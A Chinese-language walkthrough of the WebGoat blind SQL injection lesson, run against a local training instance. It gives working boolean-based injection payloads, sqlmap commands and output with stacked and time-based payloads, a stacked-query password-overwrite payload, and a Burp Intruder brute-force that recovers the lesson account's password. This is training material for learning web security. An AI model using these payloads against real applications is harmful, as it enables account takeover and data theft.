WebGoat SQL盲注 解題思路php
★ 題目:SQL Injection (advanced)
地址: http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/4java
題目要求最終以Tom的身份登陸到系統中。python
LOGIN界面:git
REGISTER界面:web
★ 什麼是SQL盲注?
這是我本身的理解,不必定準確,僅供參考。
SQL盲注的意思是,注入數據到SQL語句中,服務器不會返回數據庫裏的詳細信息,只會給出 true或false的信息,或者給出延時的信息(注入的sleep(10)起做用了)。
因此,咱們只能根據有限的信息去獲取數據庫中更多地信息,這種方式像盲人摸象同樣,只能一點一點的去收集數據庫的信息(每一次的true表示獲取一個有效信息),來慢慢造成對整個數據庫信息的理解(表名是什麼,列名是什麼),最終達到獲取數據庫中數據的目的(獲取某個表的某個值)。sql
權威的對SQL盲注的解釋,能夠參考:數據庫
WebGoat中對 SQL盲注的說明:
Blind SQL Injection: http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/3c#
OWASP對Blind SQL Injection的說明: https://www.owasp.org/index.php/Blind_SQL_Injection瀏覽器
★ SQL盲注的思路
以我本身的理解,有兩種思路。一種思路是,先獲取數據庫中表的名字,而後獲取表中每一列的列名,而後獲取表中的數據。另外一種思路是,直接猜表中的列名,而後獲取表中的數據。第一種思路是穩妥的,複雜的,須要不少次SQL查詢。第二種有些碰運氣了,運氣好能夠很快猜中列名,運氣很差(例如列名中帶有隨機值password_1ey2d),那猜中的機率是極低的。服務器
對於WebGoat這道題,有人是經過直接猜列名來解題的,連接在這裏,該文做者直接試列名’password’,發現沒有報錯,說明列名沒有錯誤,而後經過暴力破解的方式解決此題。
下面開始解題。
★ 判斷注入的點在哪裏
有2個界面:LOGIN和REGISTER。
LOGIN界面中有個能夠輸入的值:Username和Password。
REGISTER界面有4個能夠輸入的值: Username、Email、Password和Confirm Password。
分別對每個輸入值進行嘗試。
固然,用 sqlmap 進行探測SQL注入的位置更高效一些。
♦ 對LOGIN界面的嘗試
Username輸入 hello' or 1=1 --,Password輸入任意值。無效。
同理,對Password的幾回嘗試也都無效。
經過Burpsuite的Proxy能夠知道,採用sleep(10)會報錯,由於HSQLDB中不支持這個函數。
♦ 對REGISTER界面的嘗試
先註冊一個新用戶,用戶信息以下:
Username輸入 hello。
Email地址隨意,例如aaa@bbb.cccc
Password和Confirm Password都輸入 1。
點擊『Register Now』以後,界面提示『User hello created, please proceed to the login page.』。說明註冊成功。
而後,分別嘗試用戶名:hello' or 1=1 --,hello' or 1=2 --,hello' and 1=1 -- 和 hello' and 1=2 --
其餘信息:Email地址隨意,例如aaa@bbb.cccc。Password和Confirm Password都輸入 1。
結果以下:
用戶名 結果
hello' or 1=1 -- User hello’ or 1=1 – already exists please try to register with a different username.
這說明存在SQL注入,由於若是不存在SQL注入,用戶名hello' or 1=1 --是不存在的,不該該提示『已存在』。說明hello' or 1=1 --SQL語句被解析了。變成了必定要查詢數據(where true),即便查詢出來的不是hello用戶。
hello' or 1=2 -- User hello’ or 1=2 – already exists please try to register with a different username.
說明存在SQL注入,不然用戶名爲hello' or 1=2 --的用戶是不存在的。這也說明此時查詢的就是剛剛註冊的hello用戶。
hello' and 1=1 -- User hello’ and 1=1 – already exists please try to register with a different username.
說明存在SQL注入,不然用戶名爲hello' and 1=1 --的用戶是不存在的。這也說明此時查詢的就是剛剛註冊的hello用戶。
hello' and 1=2 -- User hello’ and 1=2 – created, please proceed to the login page.
若是單從這一條來講,是不能肯定是否存在SQL注入的,由於有兩種可能性。
可能1: 用戶名爲hello' and 1=2 --的用戶確實不存在,因此能夠註冊。
可能2:and 1=2起做用了,它的結果是false,對於select * from xxx_table where false來講,是始終不會查詢到數據的。因此能夠註冊。
經過對四種狀況的分析,能夠得出結論: REGISTER界面的Username存在SQL注入。因爲只存在兩種返回結果,沒有其餘多餘的信息,因此是SQL盲注。
咱們能利用的就是這兩種返回信息,來作布爾判斷(true/false)。
信息1:User xxx already exists please try to register with a different username.
信息2:User xxx created, please proceed to the login page.
♦ 用 sqlmap 確認SQL注入的位置
使用 sqlmap 以前,須要確認幾個數據:
--cookie;cookie信息是什麼?
-u: url是什麼
--data:HTTP請求的body是什麼?
經過Burpsuite的Proxy工具能夠截獲http請求,例如,拿到的http數據多是這樣的:
PUT /WebGoat/SqlInjection/challenge HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 78
Accept: */*
Origin: http://127.0.0.1:8080
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=CD6CF7EC1538E41A8A915D03167F5A72
Connection: close
username_reg=tom&email_reg=aaa%40bbb.ccc&password_reg=1&confirm_password_reg=1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
cookie的信息:Cookie: JSESSIONID=CD6CF7EC1538E41A8A915D03167F5A72
url:http://127.0.0.1:8080/WebGoat/SqlInjection/challenge
body信息:username_reg=tom&email_reg=aaa%40bbb.ccc&password_reg=1&confirm_password_reg=1
有了這3個信息,構造sqlmap的命令參數,以下:
C:\Python27>python.exe H:\git\sqlmap-dev\sqlmap.py --cookie "JSESSIONID=CD6CF7EC1538E41A8A915D03167F5A72" -u http://127.0.0.1:8080/WebGoat/SqlInjection/challenge --data "username_reg=tom1&email_reg=aaa%40bbb.ccc&password_reg=1&confirm_password_reg=1"
1
執行sqlmap,第一次執行sqlmap獲得的結果不少,再執行一次,獲得的關鍵信息以下:
C:\Python27>python.exe H:\git\sqlmap-dev\sqlmap.py --cookie "JSESSIONID=CD6CF7EC1538E41A8A915D03167F5A72" -u http://127.0.0.1:8080/WebGoat/SqlInjection/challeng
e --data "username_reg=tom1&email_reg=aaa%40bbb.ccc&password_reg=1&confirm_password_reg=1" --method "PUT"
___
__H__
___ ___[']_____ ___ ___ {1.2.9.17#dev}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 17:22:59
[17:23:00] [INFO] resuming back-end DBMS 'hsqldb'
[17:23:00] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username_reg (PUT) (注:SQL注入的位置,是username_reg,註冊時的用戶名)
Type: boolean-based blind (注:存在基於布爾值的盲注)
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username_reg=tom1' AND 263password88=2688 AND 'qNhV'='qNhV&email_reg=aaa@bbb.ccc&password_reg=1&confirm_password_reg=1
Type: stacked queries (注:存在堆疊查詢的問題)
Title: HSQLDB >= 1.7.2 stacked queries (heavy query - comment)
Payload: username_reg=tom1';CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR(9762),0),500000000),NULL)--&email_reg=aaa@bbb.ccc&password_reg=1&confirm_password_reg=1
Type: AND/OR time-based blind (注:存在基於時間的盲注)
Title: HSQLDB > 2.0 AND time-based blind (heavy query)
Payload: username_reg=tom1' AND CHAR(121)||CHAR(117)||CHAR(79)||CHAR(68)=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY(CHAR(65)||CHAR(69)||CHAR(83),NULL),0),500000
000),NULL) AND 'hRZB'='hRZB&email_reg=aaa@bbb.ccc&password_reg=1&confirm_password_reg=1
---
[17:23:00] [INFO] the back-end DBMS is HSQLDB
back-end DBMS: HSQLDB >= 1.7.2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
由 sqlmap 工具能夠很快獲得SQL注入的位置,是username_reg,即註冊時的用戶名。
♦ 確認Tom在數據庫中的名字
還有一個信息須要確認,即Tom在數據庫中的名字是什麼?
註冊一個名爲『Tom』、『tom』或者『TOM』的人試試,便可。試的結果以下:
註冊名爲『Tom』的人,顯示 『User Tom created, please proceed to the login page.』,而註冊名爲『tom』的人,顯示『User tom already exists please try to register with a different username.』。因此,Tom在數據庫中的名字爲『tom』。
★ 如何以Tom的身份登陸?
有2種可能性:
可能1:篡改Tom的密碼
須要作的是,找到Tom所在表名,再找到Tom的密碼的列名,而後經過堆疊查詢(stacked queries)來修改Tom的密碼。注入的數據是這樣的:hello'; update XXX_TABLE set PASSWORD_COLUMN = '123456'; --,而後以用戶名tom和密碼123456登陸便可。
這種狀況一般是這樣處理的:
(1) 遍歷表名:select table_name from information_schema.tables where id=1,id要遍歷全部可能的值,例如id取值1到20,嘗試20個表。或者,採用limit offset, count來分別獲取每個表的名字。
(2) 獲取某個表名的每一位字符是什麼:substring((select table_name from information_schema.tables where id=1), 1,1)='a',判斷表名中第一個字符是否是字符a,是否是b,是否是c,以此類推。而後接着判斷表名的第二個字符是否是a,是否是b,等等。最終獲得表名的每一位。
(3) 而後獲取表中的列名:select column_name from information_schema.columns where table_name='剛剛獲取的表名' limit 0,1。每次只獲取一個列名,獲取下一個列名:limit 1,1,limit 2,1,以此類推。
(4) 獲取列名的每一位字符是什麼:substring((select column_name from information_schema.columns where table_name='剛剛獲取的表名' limit 0,1),1,1)='a',判斷列名第一個字符是否是a,而後判斷方法跟判斷表名是同樣的。純粹的暴力破解。
(5) 獲得表名和列名以後,就能夠篡改tom的密碼了。
惋惜的是,對於此題,我沒有獲取到表名,我把獲取不到表名的問題提交到overflow上,目前沒人解答。因此,目前此路不通。
須要注意的是:substring獲取字符時,從下標1開始,即substring(xxx,1,1), substring(xxx,2,1)
可能2:暴力破解Tom的密碼
須要作的是,先猜出Tom的密碼的列名,而後經過暴力破解的方式獲取tom的密碼。此種方式能夠不用獲取表名。我採用的是這種方式。
★ 猜tom密碼在表中的列名
這個過程全看運氣,假設咱們運氣好,先猜password。
猜列名,可使用:tom' or password='12345,結果沒有報錯,說明列名password是正確的(注意:不是說password的值是12345)。
若是使用tom' or password2='12345,則瀏覽器貌似沒有反應,經過Burpsuite的Proxy中的HTTP history,能夠看到『java.sql.SQLSyntaxErrorException』的異常,緣由是『user lacks privilege or object not found: PASSWORD2』,說明不存在 password2 這列。
猜中列名爲password以後,就要進一步確認tom的密碼了,這以後就不是瞎猜了,而是暴力破解。
★ 選取注入的數據
再次說明,咱們能利用的就是這兩種返回信息,來作布爾判斷(true/false)。
信息1:User xxx already exists please try to register with a different username.
信息2:User xxx created, please proceed to the login page.
能夠採用的注入數據:tom' and true -- 和tom' and false --。
對於tom' and true --,必定會返回『User xxx already exists please try to register with a different username.』。
對於tom' and false --,至關於where false,因此必定查詢不到,必定會返回『User xxx created, please proceed to the login page』。
咱們將true/false替換爲合法的SQL語句:
substring(password,1,1)='a',這是判斷password的第一位是否是字符a,其結果是true/false。
咱們也能夠不用 tom' and true -- 這裏面的註釋--,完整的注入數據爲:
tom' and substring(password,1,1)='a
若是返回的結果是『User xxx already exists』,那麼說明substring(password,m,1)='x表達式爲true,即,password的第m位是x(x表示某個字符),以此來判斷password的每一位。
經過改變substring的第2個參數(password的下標)和後面的字符a(能夠是a到z,A到Z,等等),遍歷password的每一位,從而獲取整個password的值。這個過程能夠用Burpsuite的Intruder工具來完成。
★ 用Burpsuite的Intruder暴力破解密碼
設置如圖:
其中payload1是password的下標,取值從1到20(我第一次嘗試是20,不過沒有獲取密碼的全部位,以後又取了21到25,爲的是儘量的減小HTPP請求的數量。)。
payload2是可能的字符,取值:a到z,A到Z,0到9,等等。對於此題來講,取值a到z就夠了(偷看了webgoat的源代碼)。
payload1取值範圍1到20,payload2取值範圍a到z:26種可能。一共是520種可能(20*26=520)。
以後又將payload1的取值範圍設置爲21到25,又增長了130種可能(5*26=130)。
找到全部結果是『User xxx already exists』的response,其實經過對response的大小進行排序就能夠了。
Password前20位的內容以下:(若是把comments列加上註釋,就能夠只篩出有效的http請求,從而對payload1排序就能夠更清楚找到密碼。)
thisisasecretfortomo
Password的後3位爲:nly
注:爲了減小HTTP請求,payload2的取值範圍改成21到24了。
tom的完整的密碼是:thisisasecretfortomonly,而後就能夠以tom的身份登陸了。Congratulations!